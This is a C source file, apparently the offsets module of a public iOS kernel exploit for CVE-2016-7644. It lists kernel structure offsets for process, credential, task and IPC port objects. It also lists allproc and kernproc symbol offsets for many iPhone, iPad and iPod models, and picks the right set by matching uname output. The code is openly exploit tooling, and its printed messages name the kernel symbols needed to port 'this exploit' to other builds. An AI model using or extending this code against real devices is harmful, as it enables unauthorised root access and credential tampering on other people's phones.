CVE-2016-7644 full offsets.c

offsets.c

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sys/utsname.h>

#include "offsets.h"

// offsets from the main kernel 0xfeedfacf
uint64_t allproc_offset;
uint64_t kernproc_offset;

// offsets in struct proc
uint64_t struct_proc_p_pid_offset;
uint64_t struct_proc_task_offset;
uint64_t struct_proc_p_uthlist_offset;
uint64_t struct_proc_p_ucred_offset;
uint64_t struct_proc_p_comm_offset;

// offsets in struct kauth_cred
uint64_t struct_kauth_cred_cr_ref_offset;

// offsets in struct uthread
uint64_t struct_uthread_uu_ucred_offset;
uint64_t struct_uthread_uu_list_offset;

// offsets in struct task
uint64_t struct_task_ref_count_offset;
uint64_t struct_task_itk_space_offset;

// offsets in struct ipc_space
uint64_t struct_ipc_space_is_table_offset;

// offsets in struct ipc_port
uint64_t struct_ipc_port_ip_kobject_offset;

void init_arm64() {
	struct_proc_p_pid_offset = 0x10;
	struct_proc_task_offset = 0x18;
	struct_proc_p_uthlist_offset = 0x98;
	struct_proc_p_ucred_offset = 0x100;
	struct_proc_p_comm_offset = 0x26c;

	struct_kauth_cred_cr_ref_offset = 0x10;

	struct_uthread_uu_ucred_offset = 0x168;
	struct_uthread_uu_list_offset = 0x170;

	struct_task_ref_count_offset = 0x10;
	struct_task_itk_space_offset = 0x300;

	struct_ipc_space_is_table_offset = 0x20;

	struct_ipc_port_ip_kobject_offset = 0x68;
}

//here
void init_iPad4_7_T7000() {
	allproc_offset = 0x5b4168;
	kernproc_offset = 0x5ba0e0;
}
void init_iPhone9_2_T8010() {
	allproc_offset = 0x5ec178;
	kernproc_offset = 0x5f20e0;
}
void init_iPad4_5_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad5_1_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad4_1_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad5_3_T7000() {
	allproc_offset = 0x5b4168;
	kernproc_offset = 0x5ba0e0;
}
void init_iPad4_8_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad4_3_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad4_9_T7001() {
	allproc_offset = 0x5b4228;
	kernproc_offset = 0x5ba0e0;
}
void init_iPad5_1_T7000() {
	allproc_offset = 0x5b4168;
	kernproc_offset = 0x5ba0e0;
}
void init_iPhone7_1_T7000() {
	allproc_offset = 0x5b4168;
	kernproc_offset = 0x5ba0e0;
}
void init_iPhone8_4_S8000() {
	allproc_offset = 0x5a4148;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad6_3_S8000() {
	allproc_offset = 0x5a4148;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad6_4_S8000() {
	allproc_offset = 0x5a4148;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad5_3_T7001() {
	allproc_offset = 0x5b4228;
	kernproc_offset = 0x5ba0e0;
}
void init_iPad4_9_T7000() {
	allproc_offset = 0x5b4168;
	kernproc_offset = 0x5ba0e0;
}
void init_iPhone7_2_S8000() {
	allproc_offset = 0x5a4148;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad5_4_T7000() {
	allproc_offset = 0x5b4168;
	kernproc_offset = 0x5ba0e0;
}
void init_iPad4_8_T7001() {
	allproc_offset = 0x5b4228;
	kernproc_offset = 0x5ba0e0;
}
void init_iPhone8_2_S8000() {
	allproc_offset = 0x5a4148;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad4_6_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPhone9_4_T8010() {
	allproc_offset = 0x5ec178;
	kernproc_offset = 0x5f20e0;
}
void init_iPhone8_2_T7000() {
	allproc_offset = 0x5b4168;
	kernproc_offset = 0x5ba0e0;
}
void init_iPad4_7_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad4_7_T7001() {
	allproc_offset = 0x5b4228;
	kernproc_offset = 0x5ba0e0;
}
void init_iPhone7_2_T7000() {
	allproc_offset = 0x5b4168;
	kernproc_offset = 0x5ba0e0;
}
void init_iPad5_2_T7000() {
	allproc_offset = 0x5b4168;
	kernproc_offset = 0x5ba0e0;
}
void init_iPhone6_1_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad4_2_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad5_2_T7001() {
	allproc_offset = 0x5b4228;
	kernproc_offset = 0x5ba0e0;
}
void init_iPhone6_2_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad6_8_S8000() {
	allproc_offset = 0x5a4148;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad4_4_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPhone8_1_S8000() {
	allproc_offset = 0x5a4148;
	kernproc_offset = 0x5aa0e0;
}
void init_iPhone9_1_T8010() {
	allproc_offset = 0x5ec178;
	kernproc_offset = 0x5f20e0;
}
void init_iPad5_4_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPhone9_3_T8010() {
	allproc_offset = 0x5ec178;
	kernproc_offset = 0x5f20e0;
}
void init_iPad5_3_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad5_1_T7001() {
	allproc_offset = 0x5b4228;
	kernproc_offset = 0x5ba0e0;
}
void init_iPad5_4_T7001() {
	allproc_offset = 0x5b4228;
	kernproc_offset = 0x5ba0e0;
}
void init_iPod7_1_T7000() {
	allproc_offset = 0x5b4168;
	kernproc_offset = 0x5ba0e0;
}
void init_iPad6_7_S8000() {
	allproc_offset = 0x5a4148;
	kernproc_offset = 0x5aa0e0;
}
void init_iPhone8_1_T7000() {
	allproc_offset = 0x5b4168;
	kernproc_offset = 0x5ba0e0;
}
void init_iPad4_8_T7000() {
	allproc_offset = 0x5b4168;
	kernproc_offset = 0x5ba0e0;
}
void init_iPhone7_1_S8000() {
	allproc_offset = 0x5a4148;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad4_9_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}
void init_iPad5_2_S5L8960X() {
	allproc_offset = 0x5a4128;
	kernproc_offset = 0x5aa0e0;
}

//here end
void unknown_build() {
	printf("This is an unknown kernel build - the offsets are likely to be incorrect and it's very unlikely this exploit will work\n");
	printf("You need to find these two kernel symbols:\n");
	printf("  allproc\n");
	printf("  kernproc\n\n");
	printf("and update the code\n");
}

void init_offsets() {
	struct utsname u = { 0 };
	int err = uname(&u);
	if (err == -1) {
		printf("uname failed - what platform is this?\n");
		printf("there's no way this will work, but trying anyway!\n");
		init_iPad4_3_S5L8960X();
		return;
	}

	printf("sysname: %s\n", u.sysname);
	printf("nodename: %s\n", u.nodename);
	printf("release: %s\n", u.release);
	printf("version: %s\n", u.version);
	printf("machine: %s\n", u.machine);
	init_arm64();

	if (strstr(u.machine, "iPad4,7")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
			printf("device iPad4,7 T7000 matched\n");
			init_iPad4_7_T7000();
			return;
		}
	}

	if (strstr(u.machine, "iPhone9,2")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T8010")) {
			printf("device iPhone9,2 T8010 matched\n");
			init_iPhone9_2_T8010();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,5")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad4,5 S5L8960X matched\n");
			init_iPad4_5_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPad5,1")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad5,1 S5L8960X matched\n");
			init_iPad5_1_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,1")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad4,1 S5L8960X matched\n");
			init_iPad4_1_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPad5,3")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
			printf("device iPad5,3 T7000 matched\n");
			init_iPad5_3_T7000();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,8")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad4,8 S5L8960X matched\n");
			init_iPad4_8_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,3")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad4,3 S5L8960X matched\n");
			init_iPad4_3_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,9")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
			printf("device iPad4,9 T7001 matched\n");
			init_iPad4_9_T7001();
			return;
		}
	}

	if (strstr(u.machine, "iPad5,1")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
			printf("device iPad5,1 T7000 matched\n");
			init_iPad5_1_T7000();
			return;
		}
	}

	if (strstr(u.machine, "iPhone7,1")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
			printf("device iPhone7,1 T7000 matched\n");
			init_iPhone7_1_T7000();
			return;
		}
	}

	if (strstr(u.machine, "iPhone8,4")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
			printf("device iPhone8,4 S8000 matched\n");
			init_iPhone8_4_S8000();
			return;
		}
	}

	if (strstr(u.machine, "iPad6,3")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
			printf("device iPad6,3 S8000 matched\n");
			init_iPad6_3_S8000();
			return;
		}
	}

	if (strstr(u.machine, "iPad6,4")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
			printf("device iPad6,4 S8000 matched\n");
			init_iPad6_4_S8000();
			return;
		}
	}

	if (strstr(u.machine, "iPad5,3")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
			printf("device iPad5,3 T7001 matched\n");
			init_iPad5_3_T7001();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,9")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
			printf("device iPad4,9 T7000 matched\n");
			init_iPad4_9_T7000();
			return;
		}
	}

	if (strstr(u.machine, "iPhone7,2")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
			printf("device iPhone7,2 S8000 matched\n");
			init_iPhone7_2_S8000();
			return;
		}
	}

	if (strstr(u.machine, "iPad5,4")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
			printf("device iPad5,4 T7000 matched\n");
			init_iPad5_4_T7000();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,8")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
			printf("device iPad4,8 T7001 matched\n");
			init_iPad4_8_T7001();
			return;
		}
	}

	if (strstr(u.machine, "iPhone8,2")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
			printf("device iPhone8,2 S8000 matched\n");
			init_iPhone8_2_S8000();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,6")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad4,6 S5L8960X matched\n");
			init_iPad4_6_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPhone9,4")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T8010")) {
			printf("device iPhone9,4 T8010 matched\n");
			init_iPhone9_4_T8010();
			return;
		}
	}

	if (strstr(u.machine, "iPhone8,2")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
			printf("device iPhone8,2 T7000 matched\n");
			init_iPhone8_2_T7000();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,7")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad4,7 S5L8960X matched\n");
			init_iPad4_7_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,7")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
			printf("device iPad4,7 T7001 matched\n");
			init_iPad4_7_T7001();
			return;
		}
	}

	if (strstr(u.machine, "iPhone7,2")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
			printf("device iPhone7,2 T7000 matched\n");
			init_iPhone7_2_T7000();
			return;
		}
	}

	if (strstr(u.machine, "iPad5,2")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
			printf("device iPad5,2 T7000 matched\n");
			init_iPad5_2_T7000();
			return;
		}
	}

	if (strstr(u.machine, "iPhone6,1")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPhone6,1 S5L8960X matched\n");
			init_iPhone6_1_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,2")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad4,2 S5L8960X matched\n");
			init_iPad4_2_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPad5,2")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
			printf("device iPad5,2 T7001 matched\n");
			init_iPad5_2_T7001();
			return;
		}
	}

	if (strstr(u.machine, "iPhone6,2")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPhone6,2 S5L8960X matched\n");
			init_iPhone6_2_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPad6,8")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
			printf("device iPad6,8 S8000 matched\n");
			init_iPad6_8_S8000();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,4")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad4,4 S5L8960X matched\n");
			init_iPad4_4_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPhone8,1")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
			printf("device iPhone8,1 S8000 matched\n");
			init_iPhone8_1_S8000();
			return;
		}
	}

	if (strstr(u.machine, "iPhone9,1")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T8010")) {
			printf("device iPhone9,1 T8010 matched\n");
			init_iPhone9_1_T8010();
			return;
		}
	}

	if (strstr(u.machine, "iPad5,4")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad5,4 S5L8960X matched\n");
			init_iPad5_4_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPhone9,3")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T8010")) {
			printf("device iPhone9,3 T8010 matched\n");
			init_iPhone9_3_T8010();
			return;
		}
	}

	if (strstr(u.machine, "iPad5,3")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad5,3 S5L8960X matched\n");
			init_iPad5_3_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPad5,1")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
			printf("device iPad5,1 T7001 matched\n");
			init_iPad5_1_T7001();
			return;
		}
	}

	if (strstr(u.machine, "iPad5,4")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
			printf("device iPad5,4 T7001 matched\n");
			init_iPad5_4_T7001();
			return;
		}
	}

	if (strstr(u.machine, "iPod7,1")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
			printf("device iPod7,1 T7000 matched\n");
			init_iPod7_1_T7000();
			return;
		}
	}

	if (strstr(u.machine, "iPad6,7")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
			printf("device iPad6,7 S8000 matched\n");
			init_iPad6_7_S8000();
			return;
		}
	}

	if (strstr(u.machine, "iPhone8,1")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
			printf("device iPhone8,1 T7000 matched\n");
			init_iPhone8_1_T7000();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,8")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
			printf("device iPad4,8 T7000 matched\n");
			init_iPad4_8_T7000();
			return;
		}
	}

	if (strstr(u.machine, "iPhone7,1")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
			printf("device iPhone7,1 S8000 matched\n");
			init_iPhone7_1_S8000();
			return;
		}
	}

	if (strstr(u.machine, "iPad4,9")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad4,9 S5L8960X matched\n");
			init_iPad4_9_S5L8960X();
			return;
		}
	}

	if (strstr(u.machine, "iPad5,2")) {
		if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
			printf("device iPad5,2 S5L8960X matched\n");
			init_iPad5_2_S5L8960X();
			return;
		}
	}



	printf("don't recognize this platform\n");
	unknown_build();
	init_iPad4_3_S5L8960X(); // this won't work!
}